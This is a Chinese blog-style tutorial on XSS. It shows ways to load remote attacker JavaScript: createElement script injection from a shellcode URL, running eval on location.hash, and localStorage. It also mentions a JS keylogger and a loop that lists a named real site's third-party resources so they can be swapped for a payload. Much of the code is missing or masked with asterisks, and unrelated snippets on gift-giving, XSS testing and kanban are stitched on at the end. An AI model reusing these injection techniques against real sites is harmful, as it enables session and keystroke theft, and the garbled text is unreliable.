如何優雅的調戲XSS

2021-09-07 16:26:22 字數 2820 閱讀 9276

前言

正文

如何呼叫xss shellcode?

我們先來學習一下,如何去呼叫我們的xss shellcode,嘿嘿。我們來看這種方式:

這裡,我們是使用script標籤的src屬性從遠端呼叫了我們的js檔案,來實現呼叫shellcode。我們除了使用script標籤來呼叫我們的shellcode,還可以使用js**將我們的script標籤注入到dom內實現執行我們的shellcode:

var s = document.createelement("script");

s.src = "[你的shellcode的url]";

這樣就能將遠端的js**注入到我們的dom,我們來講一下,這段**的含義:

1.首先,我們通過var定義了乙個變數s,用來接收document.createelement("script")的返回值,這個返回值是乙個物件,於是s就變成了乙個變數。

2.我們的createelement方法,是用來建立乙個元素的,這個方法在xss的攻擊中十分常用,它的引數就是字元型的要建立的元素的標籤名。

3.我們接著給s物件的src屬性,賦值為我們的shellcode的url,使用createelement方法建立的元素物件具有該元素標籤的所有屬性,直接賦值就可以了。

這就是我們這段**的作用與原理,十分簡單,大家自行體會一下。我們接著看下一種方法,這種方法是記錄在《xss跨站指令碼攻擊剖析與防禦》一書中的。但是,我個人不認為這個方法很好用,但是,我們還是來提一下。

這個方法利用了document.location.hash,我們來看一下,如何去利用的,我們建立如下demo檔案:

我們在瀏覽器上訪問該檔案,如下:

我們可以看到alert的內容是空的,接著,我們在整個url後面新增"#www.ichunqiu.com",如圖:

我們注意到,document.location.hash取到的就是url中#號,及#號以後的內容。

接著,我們再來講乙個substr方法,我們建立如下demo檔案:

接著,我們來訪問該檔案,會有兩個彈窗,第乙個如下:

第二個彈窗如下圖:

我們就通過這兩個彈窗就能猜測到這個substr方法的作用了,其實就是從字串的開頭刪除substr方法的引數個字元。如"12345".substr(1),就會將原字串變成"2345"。於是,我們建立如下demo檔案:

我們來帶上#www.ichunqiu.com,訪問該檔案:

可以看到我們的document.location.hash取到的值的#號已經被substr方法拖出去斬了,嘿嘿。

接著,我們再來介紹乙個js的函式eval,這個函式是用來動態執行js**的函式,我們建立如下demo檔案:

訪問如下:

我們可以看到,確實執行了alert(/xss/),於是,我們就能通過這個幾個我們介紹的方法寫成如下demo:

訪問該檔案,帶上#alert(/xss/),如下圖:

這就是書中提到的方法,但是我個人感覺不是很實用,但是我們也通過介紹這個手法,給大家補充了很多js的知識。

好滴,我們繼續,我們來說乙個html5給我們帶來的呼叫的shellcode的方式——localstorage:

我們書寫如下demo檔案:

我們訪問如下:

xss的一些玩法

首先,我們來說乙個小玩法,叫做js鍵盤記錄

接著,我們開啟,瀏覽器的console,如下:

麻麻說得沒錯,這個世界充滿了危險。。。曾四好可怕。。。(曾四,還tm王五呢。。。)

for(var i=0,tags=document.queryselectorall('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++)

}

這招其實叫"柿子要挑軟的捏!",嘿嘿,我們來到i春秋學院主頁,如圖:

我們將剛才的指令碼注入到該頁面執行,如下:

我們只要能將這些第三方的資源替換成我們的shellcode,想想都覺得興奮,嘿嘿,好滴,本篇*****就到大家玩到這裡,大家再見!

如何優雅的送禮?

送禮的尺度要以法律規定和公司制度為紅線,在職場上,肯定不能送重禮,否則可能成為商業賄賂。很多國際化的公司都有明確的送禮和收禮規定,不能超過幾百元。牢記這一條,你就會發現有創意是多麼的重要,因為你的預算空間實在很小。送禮這件事,從策劃選禮物到對方接收到禮物是乙個操作過程,最重要的是送禮時刻。其實對於有...

如何測試XSS漏洞

黑盒手動測試 對於非富文字在輸入框中輸入特殊字元 提交 在提交後的頁面檢視源 根據關鍵字tiehua查詢源 中的tiehua前後的 是否已經被轉義成 apos 如果未被轉義說明這個輸入框存在xss漏洞的嫌疑 提交bug 對於富文字輸入框輸入 如果頁面有出現排版問題或者js錯誤說明這個輸入框存在xss...

如何優雅的使用「看板」?

你需要通過看板達到什麼目的 看板三原則 1.使工作視覺化,給每人乙個專案目前的big picture。2.減少並行工作。乙個user story的生命週期被切分成較小的塊,每個人應該keep在其中一塊。3.優化工作流程。在實踐中不斷迭代看板的流程,增減某些階段,或調整從乙個階段跳轉到下乙個階段的邊界...